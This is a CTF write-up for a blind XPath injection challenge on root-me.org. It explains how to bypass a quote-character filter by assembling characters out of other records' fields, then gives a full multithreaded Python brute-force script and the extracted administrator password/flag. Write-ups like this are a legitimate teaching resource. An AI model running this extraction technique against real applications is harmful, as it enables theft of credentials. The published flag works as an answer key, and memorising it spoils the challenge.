← Back
XPath-injection-Blind | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

This challenge on it’s own shouldn’t be so difficult, because this is like simple Blind injection.

The idea is to give this query:

?action=user&userid=1 and substring(//user[userid=2]/password,{i},1)='c'

And just brute-force the char, until we exfiltrate the password of John, which has userid=2 and also he’s an admin, as we can see from the table here: Username | Email | Account type —- | – | — Steve | steve@jobs.com | subscriber John | John@doe.org | administrator Eric | ric@ard.biz | subscriber Jerry | Jerry@tomcat.net | subscriber Elise | Elise@tomcat.net | subscriber

However, the problem is that we can’t use ' or ". In addition, there are no functions like ascii or char, so we are screwed :(

And that’s where I came to this great idea, we can exfiltrate chars, for example if we want to get s, we can take this:

substring(//user[userid=1]/email,1,1)

Because we take the first char of steve@jobs.com, as shown in the table.

So, we can create our mapGadget, and by this way we can achieve huge number of chars!

This is our script:

import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://challenge01.root-me.org/web-serveur/ch24/"
charset = sorted(string.ascii_letters + string.digits + '@.')
true_cond = "Steve's profile"
max_len = 100  # max length of string to extract
max_workers = 10  # number of concurrent threads

mapGadget = {
    'a':'substring(//user[userid=2]/account,1,1)',
    'b':'substring(//user[userid=1]/email,9,1)',
    'c':'substring(//user[userid=3]/email,3,1)',
    'd':'substring(//user[userid=2]/email,6,1)',
    'e':'substring(//user[userid=1]/email,3,1)',
    'f':'None',
    'g':'substring(//user[userid=2]/email,12,1)',
    'h':'substring(//user[userid=2]/email,3,1)',
    'i':'substring(//user[userid=3]/email,2,1)',
    'j':'substring(//user[userid=1]/email,7,1)',
    'k':'None',
    'l':'substring(//user[userid=5]/email,2,1)',
    'm':'substring(//user[userid=4]/email,9,1)',
    'n':'substring(//user[userid=2]/email,4,1)',
    'o':'substring(//user[userid=2]/email,2,1)',
    'p':'None',
    'q':'None',
    'r':'substring(//user[userid=3]/email,1,1)',
    's':'substring(//user[userid=1]/email,1,1)',
    't':'substring(//user[userid=1]/email,2,1)',
    'u':'substring(//user[userid=1]/account,2,1)',
    'v':'substring(//user[userid=1]/email,4,1)',
    'w':'None',
    'x':'None',
    'y':'substring(//user[userid=4]/email,5,1)',
    'z':'substring(//user[userid=3]/email,11,1)',
    '0':'string(0)',
    '1':'string(1)',
    '2':'string(2)',
    '3':'string(3)',
    '4':'string(4)',    
    '5':'string(5)',
    '6':'string(6)',
    '7':'string(7)',
    '8':'string(8)',
    '9':'string(9)',
    'A':'None',
    'B':'None',
    'C':'None',
    'D':'None',
    'E':'substring(//user[userid=3]/username,1,1)',
    'F':'None',
    'G':'None',
    'H':'None',
    'I':'None',
    'J':'substring(//user[userid=2]/username,1,1)',
    'K':'None',
    'L':'None',
    'M':'None',
    'N':'None',
    'O':'None',
    'P':'None',
    'Q':'None',
    'R':'None',
    'S':'substring(//user[userid=1]/username,1,1)',
    'T':'None',
    'U':'None',
    'V':'None',
    'W':'None',
    'X':'None',
    'Y':'None',
    'Z':'None',
    '.':'substring(//user[userid=1]/email,11,1)',
    '@':'substring(//user[userid=3]/email,4,1)',
}

session = requests.Session()

def check_condition(query, pos, ch):
    data = {'msg':'msg'}
    payload = f"?action=user&userid=1 and substring({query},{pos},1)={mapGadget[ch]}"
    try:
        r = session.post(url+payload, data=data, timeout=5)
        # print(f"[i] Checking condition: {query}, pos: {pos}, char: {ch} -> {mapGadget[ch]}")
        return true_cond in r.text
    except requests.RequestException:
        return False

def extract(query):
    """
    Extracts string result of SQL query from position 1 up to max_len.
    Uses threading to speed up extracting multiple positions in parallel.
    """
    result = [""] * max_len  # pre-allocate list for characters

    def worker(pos):
        for ch in charset:
            if check_condition(query, pos, ch):
                return pos, ch
        return pos, None

    print(f"[i] Starting extraction from: {query}")

    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = [executor.submit(worker, pos) for pos in range(1, max_len + 1)]

        for future in as_completed(futures):
            pos, ch = future.result()
            if ch is None:
                # No char found, treat as end of string
                print(f"[-] No character found at position {pos}, stopping extraction.")
                # Cancel remaining futures (not guaranteed but try)
                for f in futures:
                    f.cancel()
                break
            else:
                result[pos - 1] = ch
                print(f"[+] Position {pos}: {ch}")

    extracted = "".join(result).rstrip("\x00 ").strip()
    print(f"\n[+] Extraction complete:\n{extracted}")
    return extracted

if __name__ == "__main__":
    password1 = extract("//user[userid=2]/password")

And after execution, we get:

ueiJ4a65@1.oS

FINAL

Flag: ueiJ4a65@1.oS